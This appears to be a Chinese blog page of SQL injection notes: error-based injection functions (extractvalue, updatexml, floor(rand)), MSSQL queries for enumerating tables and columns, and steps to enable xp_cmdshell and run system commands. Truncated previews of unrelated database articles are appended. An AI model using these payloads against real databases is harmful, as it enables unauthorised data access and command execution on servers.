關於資料庫的函式

2022-09-13 02:27:14 字數 1353 閱讀 9702

mid(database() from 1 for 1)==mid(databse(),1,1)

在資料庫中字元型字段中條件值為false可以獲取全部資料

資料庫一般有三種報錯

(1)extractvalue()中第乙個為錯誤引數就會錯誤報出第二個引數語句

(2)floor(rand(0)*2) 插入虛擬表時出現鍵相同,導致的報錯

(3)updatexml ()中第乙個,第三個,為錯誤引數就會錯誤報出第二個引數語句

第二點原理可以參照以下鏈結

其他的error-based

mssql

16進製制轉為字串

select convert(varchar(50),0x576869725f436e745f4174746163686564 )

查詢資料庫

select * from sys.all_objects

查表名table_name!=這樣每一行都能查

select top 1 table_name from information_schema.tables where table_name!=xx and table_name!=yy ...

列名這裡a.name是需要查詢的表名,

b.name

是不需要的列名,這樣可以查詢到所有列名

0***,0yyy

select top 1 b.name from sysobjects a,syscolumns b where a.id=b.id and a.name=(select convert(varchar(50),0***x)) and b.name!=(select convert(varchar(50),0yyyy)) and b.name!=...

執行系統shell命令

exec master.dbo.xp_cmdshell "whoami";  //exec master..xp_cmdshell "whoami"

執行之前需要開啟xp_cmdshell才可以執行(開啟需一定許可權,取決於alter settings許可權):

exec sp_configure 'show advanced options',1;

reconfigure;

exec sp_configure 'xp_cmdshell',1;

reconfigure

關於資料庫排名函式的使用

1 oracle 1 row number 該函式的功能是為查詢出來的每一行記錄生成乙個序號。如果有相同的也會分出個先後排名 select dept.dname,ename,sal,row number over partition by emp.deptno order by sal rankor...

關於SqlServer資料庫日期函式

關於sqlserver資料庫日期函式 1 獲取當前時間 select getdate 2 擷取需要的值 select datepart year,getdate select datepart month,getdate select datepart day,getdate select date...

關於資料庫

在dao檔案下 第一步 public static void main string args 定義四個私有的全域性靜態變數 第二步 1.以增加一條新聞為例 增加一條新聞 param news return public boolean insertnews news news ps.close c...